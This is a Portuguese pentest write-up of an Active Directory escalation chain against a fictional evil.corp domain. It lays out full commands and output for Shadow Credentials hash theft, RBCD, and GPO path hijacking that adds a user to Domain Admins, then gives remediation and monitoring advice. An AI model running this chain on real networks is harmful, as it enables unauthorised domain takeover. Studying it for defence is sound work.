Esse post documenta uma cadeia de ataque que encontrei durante um pentest de Active Directory em uma empresa beeeeeeeeeeeeeeeem grande :)
O ambiente do paper é fictício (evil.corp), mas a técnica é real e funcionou na prática. Vou mostrar cada passo, cada bloqueio e cada bypass, incluindo os outputs esperados dos comandos que foram formatados para facilitar a leitura
O ponto de partida é uma conta de usuário comum, sem privilégios administrativos. O destino é Domain Admin. O caminho passa por quatro contas de máquina, dois ataques de delegação, Shadow Credentials e abuse de GPO
O ambiente
- Domínio:
evil.corp - DC:
EVIL-DC01.evil.corp(10.10.10.10) - Conta inicial:
j.support(usuário comum de helpdesk) - Ferramentas: BloodHound, pyWhisker, impacket, bloodyAD, GPOddity, NetExec
Antes de qualquer coisa, coletei os dados do domínio com BloodHound para mapear os caminhos de ataque.
bloodhound-python -u 'j.support' -p 'Support@2024' -d evil.corp -ns 10.10.10.10 -c All --zipINFO: Found AD domain: evil.corp
INFO: Getting TGT for user
INFO: Connecting to LDAP server: EVIL-DC01.evil.corp
INFO: Found 1 domains
INFO: Found 2 domains in the forest
INFO: Found 16182 computers
INFO: Found 30813 usersDepois de importar no BloodHound e rodar a query de "Shortest Path to Domain Admins", o grafo revelou um caminho que passa por contas de máquina via ACLs mal configuradas
Passo 1: GenericAll em conta de máquina de Failover Cluster
O BloodHound mostrou que j.support tem GenericAll sobre CLUST01-CNO$, que é o Cluster Name Object de um Windows Failover Cluster
GenericAll é controle total sobre o objeto. Isso inclui modificar qualquer atributo, o que abre duas possibilidades imediatas: RBCD e Shadow Credentials
Tentativa 1: RBCD
A ideia é criar uma conta de máquina rogue, configurar ela como delegador confiável no alvo e pedir um ticket S4U2Proxy impersonando um Domain Admin
Primeiro, verifico o MachineAccountQuota do domínio para confirmar que posso criar contas de máquina:
nxc ldap 10.10.10.10 -u 'j.support' -p 'Support@2024' -M maqSMB 10.10.10.10 445 EVIL-DC01 [*] Windows Server 2022 Build 20348 x64
LDAP 10.10.10.10 389 EVIL-DC01 [+] evil.corp\j.support:Support@2024
MAQ 10.10.10.10 389 EVIL-DC01 [*] MachineAccountQuota: 10Quota disponível. Crio a conta rogue:
impacket-addcomputer 'evil.corp/j.support:Support@2024' \
-computer-name 'ROGUEPC$' \
-computer-pass 'Rogue@Pass123' \
-dc-ip 10.10.10.10[*] Successfully added machine account ROGUEPC$ with password Rogue@Pass123.Agora configuro o RBCD, escrevendo o SID de ROGUEPC$ no atributo msDS-AllowedToActOnBehalfOfOtherIdentity de CLUST01-CNO$:
impacket-rbcd 'evil.corp/j.support:Support@2024' \
-delegate-to 'CLUST01-CNO$' \
-delegate-from 'ROGUEPC$' \
-action write \
-dc-ip 10.10.10.10[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ROGUEPC$ can now impersonate users on CLUST01-CNO$ via S4U2ProxyPeço o ticket S4U2Proxy impersonando Administrator:
impacket-getST 'evil.corp/ROGUEPC$:Rogue@Pass123' \
-spn 'cifs/CLUST01-CNO.evil.corp' \
-impersonate 'Administrator' \
-dc-ip 10.10.10.10[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]Ticket na mão. Tento usar:
export KRB5CCNAME=Administrator@[email protected]
nxc smb CLUST01-CNO.evil.corp -k --use-kcacheSMB 10.10.20.50 445 CLUST01NODE1 [*] Windows Server 2022 Build 20348 x64
SMB 10.10.20.50 445 CLUST01NODE1 [-] Connection Error: STATUS_ACCESS_DENIEDBloqueio 1. Ticket obtido, mas o Failover Cluster rejeita a autenticação remota. O CNO tem seu próprio processo de validação de SPN e a execução remota via SMB/WMI/RPC não funciona contra o IP virtual do cluster. O ticket é legítimo, mas inutilizável nesse contexto...
Bypass: Shadow Credentials
GenericAll também permite escrever o atributo msDS-KeyCredentialLink, que é o que o ataque de Shadow Credentials explora.
A ideia: injeto uma chave pública nesse atributo via LDAP. Quando autentico usando a chave privada correspondente via Kerberos PKINIT, o KDC processa tudo dentro da autenticação normal e devolve o TGT junto com o hash NTLM da conta, sem precisar de nenhum acesso direto à máquina
pywhisker -d evil.corp \
-u 'j.support' \
-p 'Support@2024' \
--target 'CLUST01-CNO$' \
--action add \
--dc-ip 10.10.10.10[*] Searching for the target account
[*] Target user found: CN=CLUST01-CNO,OU=Cluster Objects,DC=evil,DC=corp
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: 4a3f8b2e-...
[+] KeyCredential added successfully
[*] To authenticate with the new certificate, run:
python3 gettgtpkinit.py -cert-pfx pywhisker_output.pfx -pfx-pass RANDOM_PASS evil.corp/CLUST01-CNO$ CLUST01_CNO.ccachepython3 gettgtpkinit.py \
-cert-pfx pywhisker_output.pfx \
-pfx-pass 'RANDOM_PASS' \
'evil.corp/CLUST01-CNO$' \
CLUST01_CNO.ccache \
-dc-ip 10.10.10.102024-02-15 12:45:23,891 minikerberos INFO - Loading certificate and key from file
2024-02-15 12:45:23,923 minikerberos INFO - Requesting TGT
2024-02-15 12:45:24,187 minikerberos INFO - AS-REP encryption key (you WILL need this later):
2024-02-15 12:45:24,187 minikerberos INFO - 3a7f2d9c1b4e8f6a...
2024-02-15 12:45:24,189 minikerberos INFO - Saved TGT to fileexport KRB5CCNAME=CLUST01_CNO.ccache
python3 getnthash.py evil.corp/CLUST01-CNO$ \
-key '3a7f2d9c1b4e8f6a...'[*] Using TGT from cache
[*] Requesting ticket to self with PAC
[+] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6Hash da CLUST01-CNO$ obtido. Com ele, posso autenticar como essa conta de máquina e continuar a enumeração de ACLs
Com o hash em mãos, a primeira tentativa óbvia é S4U2Self direto contra o cluster. O NetExec suporta isso nativamente, e qualquer conta de máquina pode em tese requisitar um ticket de serviço para si mesma impersonando qualquer usuário, sem precisar de RBCD configurado:
nxc smb 10.10.20.50 -u 'CLUST01-CNO$' \
-H 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \
--delegate Administrator --selfSMB 10.10.20.50 445 CLUST01NODE1 [-] evil.corp\Administrator through S4U with CLUST01-CNO$ KDC_ERR_C_PRINCIPAL_UNKNOWNKDC_ERR_C_PRINCIPAL_UNKNOWN. O KDC não reconhece CLUST01-CNO$ como um principal válido para emitir tickets S4U2Self. Isso é comportamento específico de CNOs. Um Cluster Name Object não é uma conta de máquina comum, é um objeto especial criado pelo Windows Failover Cluster que não tem UPN configurado e cujo SPN é gerenciado pelo próprio serviço de cluster. Para o S4U2Self funcionar aqui, precisaríamos do hash da conta de um dos nós físicos (CLUST01NODE1$, CLUST01NODE2$), não do CNO. O CNO é a identidade virtual do cluster, não de nenhum servidor real
Esse detalhe não está documentado em praticamente lugar nenhum. A maioria dos posts sobre S4U2Self assume contas de máquina normais e não menciona esse comportamento com CNOs
Com esse caminho fechado, o hash serve para o que realmente importa: enumerar o que CLUST01-CNO$ pode fazer no domínio e continuar a cadeia
Passo 2: GenericWrite na segunda máquina
Com o hash de CLUST01-CNO$, volto ao BloodHound para ver o que essa conta pode fazer. A query "Outbound Object Control" revela que CLUST01-CNO$ tem GenericWrite sobre APP-SRV02$.
GenericWrite em conta de máquina significa escrever msDS-KeyCredentialLink. O RBCD também funciona via GenericWrite se o atributo msDS-AllowedToActOnBehalfOfOtherIdentity estiver em branco.
Mesma estratégia, agora autenticando como CLUST01-CNO$ usando o hash:
impacket-rbcd 'evil.corp/CLUST01-CNO$' \
-hashes ':a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \
-delegate-to 'APP-SRV02$' \
-delegate-from 'ROGUEPC$' \
-action write \
-dc-ip 10.10.10.10[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!Mas antes de tentar RBCD (que já vi que pode não funcionar dependendo do ambiente), vou direto para Shadow Credentials, que já provou ser mais confiável aqui:
pywhisker -d evil.corp \
-u 'CLUST01-CNO$' \
-hashes ':a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6' \
--target 'APP-SRV02$' \
--action add \
--dc-ip 10.10.10.10[*] Target user found: CN=APP-SRV02,OU=Application Servers,DC=evil,DC=corp
[*] Generating certificate
[*] KeyCredential added successfullypython3 gettgtpkinit.py \
-cert-pfx pywhisker_output2.pfx \
-pfx-pass 'RANDOM_PASS2' \
'evil.corp/APP-SRV02$' \
APP_SRV02.ccache \
-dc-ip 10.10.10.10
export KRB5CCNAME=APP_SRV02.ccache
python3 getnthash.py evil.corp/APP-SRV02$ -key '8c4d1e2f3a5b6c7d...'[+] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:f1e2d3c4b5a69788796a5b4c3d2e1f0aDois hashes de máquina. Mas o mais interessante está no próximo nó do grafo
Passo 3: GenericWrite no Default Domain Policy
APP-SRV02$ é membro de [email protected], e esse grupo tem GenericWrite sobre o objeto Default Domain Policy no Active Directory
Aqui que tem a cereja do bolo, a Default Domain Policy aplica configurações para todos os computadores e usuários do domínio. Quem controla ela pode executar código em qualquer máquina que aplica a policy, incluindo os Domain Controllers
O ataque passa pelo GPOddity, uma ferramenta que explora a modificação do atributo gPCFileSysPath do GPC (Group Policy Container) para redirecionar onde os clientes buscam os arquivos da GPO. Em vez do SYSVOL legítimo, os clientes buscam de um share controlado pelo atacante
Antes de qualquer coisa, verifico as permissões reais usando dacledit para confirmar que o GenericWrite não é um falso positivo do BloodHound:
impacket-dacledit -action read \
-target-dn 'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=evil,DC=corp' \
-principal 'G_POLICY_MANAGERS' \
'evil.corp/j.support:Support@2024' \
-dc-ip 10.10.10.10[*] Parsing DACL
[*] Filtering results for SID (S-1-5-21-...)
[*] ACE[0] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE
[*] Access mask : WriteProperties (0x20)
[*] Trustee (SID) : G_POLICY_MANAGERSACCESS_ALLOWED_ACE com WriteProperties, sem ACCESS_DENIED_ACE sobreescrevendo. Permissão real e funcional
Passo 4: Descoberta do share gravável e setup do GPOddity
O GPOddity em modo --smb-mode none precisa de um share SMB acessível pelos clientes do domínio para hospedar os arquivos da GPO maliciosa. O fluxo é:
- Clonar o GPT legítimo do SYSVOL
- Injetar uma Scheduled Task maliciosa nos arquivos clonados
- Hospedar os arquivos em um share controlado
- Modificar o atributo
gPCFileSysPathvia LDAP para apontar para o share - Aguardar o refresh da GPO nos clientes (default: 90 minutos)
Primeiro, escanear a rede para encontrar shares graváveis:
nxc smb 10.10.20.0/24 \
-u 'j.support' -p 'Support@2024' \
--sharesSMB 10.10.20.15 445 FILE-SRV01 [+] evil.corp\j.support:Support@2024
SMB 10.10.20.15 445 FILE-SRV01 [+] Enumerated shares
SMB 10.10.20.15 445 FILE-SRV01 Share Permissions
SMB 10.10.20.15 445 FILE-SRV01 ----- -----------
SMB 10.10.20.15 445 FILE-SRV01 IPC$ READ
SMB 10.10.20.15 445 FILE-SRV01 IT_TOOLS READ,WRITE
SMB 10.10.20.15 445 FILE-SRV01 TEMP_FILES READ,WRITEShare gravável encontrado: \\10.10.20.15\IT_TOOLS. Confirmo que Domain Computers tem acesso de leitura (necessário para que os clientes busquem o GPT):
nxc smb 10.10.20.15 \
-u 'APP-SRV02$' \
-H 'f1e2d3c4b5a69788796a5b4c3d2e1f0a' \
--sharesSMB 10.10.20.15 445 FILE-SRV01 Share Permissions
SMB 10.10.20.15 445 FILE-SRV01 ----- -----------
SMB 10.10.20.15 445 FILE-SRV01 IPC$ READ
SMB 10.10.20.15 445 FILE-SRV01 IT_TOOLS READ
SMB 10.10.20.15 445 FILE-SRV01 TEMP_FILES READLeitura confirmada para contas de máquina. Agora gero o GPT malicioso:
python3 gpoddity.py \
--gpo-id '31B2F340-016D-11D2-945F-00C04FB984F9' \
--domain evil.corp \
--username 'APP-SRV02$' \
--hashes ':f1e2d3c4b5a69788796a5b4c3d2e1f0a' \
--command 'net group "Domain Admins" j.support /add /domain' \
--smb-mode none \
--rogue-smbserver-ip 10.10.20.15 \
--rogue-smbserver-share IT_TOOLS \
--dc-ip 10.10.10.10[*] Connecting to LDAP server...
[*] Authenticating as APP-SRV02$
[*] Found GPO: Default Domain Policy
[*] Cloning GPT from \\evil.corp\SYSVOL\evil.corp\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
[*] GPT files cloned successfully to GPT_out/
[*] Injecting malicious scheduled task...
[*] ScheduledTasks.xml generated
[*]
[*] LDAP modification needed:
[*] gPCFileSysPath: \\10.10.20.15\IT_TOOLS
[*]
[*] Run with --smb-mode ntlm or modify the attribute manuallyO GPOddity em modo --smb-mode none gera os arquivos localmente mas não faz a modificação LDAP automaticamente. Faço o upload dos arquivos para o share:
cd GPT_out/
smbclient '//10.10.20.15/IT_TOOLS' \
-U 'evil.corp/j.support%Support@2024' \
-c 'recurse; prompt off; mput *'putting file gpt.ini as \gpt.ini (2.1 kb/s) (average 2.1 kb/s)
putting file Machine/Preferences/ScheduledTasks/ScheduledTasks.xml as \Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
...Agora modifico o gPCFileSysPath via LDAP usando o hash de APP-SRV02$:
bloodyAD --host EVIL-DC01.evil.corp \
--dc-ip 10.10.10.10 \
-d evil.corp \
-u 'APP-SRV02$' \
-p ':f1e2d3c4b5a69788796a5b4c3d2e1f0a' \
set object \
'CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=evil,DC=corp' \
gPCFileSysPath \
-v '\\10.10.20.15\IT_TOOLS'[+] CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=evil,DC=corp's gPCFileSysPath has been updatedA GPO agora aponta para o share controlado. Aguardo o próximo refresh cycle
# Confirmo que j.support entrou nos Domain Admins
nxc smb 10.10.10.10 \
-u 'j.support' -p 'Support@2024' \
--groups "Domain Admins"SMB 10.10.10.10 445 EVIL-DC01 [*] Windows Server 2022 Build 20348 x64
SMB 10.10.10.10 445 EVIL-DC01 [+] evil.corp\j.support:Support@2024
SMB 10.10.10.10 445 EVIL-DC01 [+] Domain Admins Members:
SMB 10.10.10.10 445 EVIL-DC01 Administrator
SMB 10.10.10.10 445 EVIL-DC01 j.support <--- aquiCadeia completa resumida
j.support (helpdesk)
|
| GenericAll (ACL mal configurada)
v
CLUST01-CNO$ [Failover Cluster]
|
| RBCD bloqueado (cluster rejeita execução remota)
| Shadow Credentials (msDS-KeyCredentialLink)
v
hash CLUST01-CNO$ obtido via PKINIT
|
| GenericWrite
v
APP-SRV02$
|
| Shadow Credentials
v
hash APP-SRV02$ obtido via PKINIT
|
| memberOf G_POLICY_MANAGERS
| GenericWrite no Default Domain Policy
v
gPCFileSysPath modificado -> \\10.10.20.15\IT_TOOLS
|
| GPT malicioso com Scheduled Task
| Domain Computers fazem fetch do share
v
j.support adicionado ao Domain Admins
|
v
Domain AdminPor que isso acontece
Cada passo dessa cadeia existe por uma razão específica e independente
GenericAll em conta de máquina é o erro mais crítico. Ninguém deveria ter controle total sobre objetos de máquina exceto os próprios administradores do domínio. Quando você delega permissões no AD e usa GenericAll em vez de um direito específico, está basicamente dando a chave mestra para qualquer um que comprometa essa conta
Shadow Credentials funciona por design. O atributo msDS-KeyCredentialLink existe para suporte a Windows Hello for Business e outros mecanismos de autenticação baseada em certificado. O problema não é o atributo em si, é que qualquer pessoa com permissão de escrita no objeto pode adicionar credenciais nesse atributo sem nenhuma aprovação adicional. Não tem MFA, não tem workflow de aprovação, não tem notificação, o KDC simplesmente processa
GPO abuse via gPCFileSysPath é uma consequência direta de permissions excessivas em objetos de GPO. A Default Domain Policy é o objeto mais crítico do domínio por definição. Ela aplica para todos. Qualquer escrita lá é Domain Admin em espera
MachineAccountQuota = 10 é um padrão do Active Directory que permite a qualquer usuário autenticado criar até 10 contas de máquina no domínio. Isso é necessário para o ataque RBCD inicial. Setar para 0 quebra esse vetor completamente
Remediação
Cada finding tem uma correção direta:
- GenericAll em contas de máquina: Auditar e remover ACEs excessivas. Usar BloodHound CE periodicamente para identificar paths de privilégio. Aplicar princípio de menor privilégio em todas as delegações
- Shadow Credentials: Monitorar Event ID 5136 (Directory Service Changes) com filtro em
msDS-KeyCredentialLink. Qualquer modificação nesse atributo fora de um processo de provisionamento legítimo é um IOC
- RBCD: Mesmo monitoramento via Event ID 5136, agora filtrando
msDS-AllowedToActOnBehalfOfOtherIdentity. SetarMachineAccountQuotapara 0 e criar contas de máquina apenas via processo controlado
- GPO abuse: Remover permissões de escrita desnecessárias em objetos de GPO. Monitorar Event ID 5136 filtrando
gPCFileSysPath. Qualquer mudança nesse atributo que aponte para fora do SYSVOL legítimo é um comprometimento ativo
- Share gravável: Restringir permissões de escrita em shares de rede a contas administrativas. Domain Computers não precisam de acesso de escrita em shares que não são SYSVOL
Referências organizadas por tema:
Shadow Credentials
- https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab (post original do Elad Shamir)
- https://github.com/ShutdownRepo/pywhisker
RBCD
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html (o paper original do Elad Shamir sobre RBCD abuse)
GPO Abuse / GPOddity
- https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more (paper do GPOddity, explica a técnica do gPCFileSysPath em detalhe)
- https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/ (o clássico do harmj0y que definiu GPO abuse)
ACL Abuse geral
- https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf (An ACE Up The Sleeve, Andy Robbins e Will Schroeder)
- https://bloodhound.specterops.io/resources/edges/generic-write (documentação do BloodHound sobre GenericWrite e quando é falso positivo)
MachineAccountQuota
- https://www.netspi.com/blog/technical-blog/network-penetration-testing/machineaccountquota-is-useful-sometimes/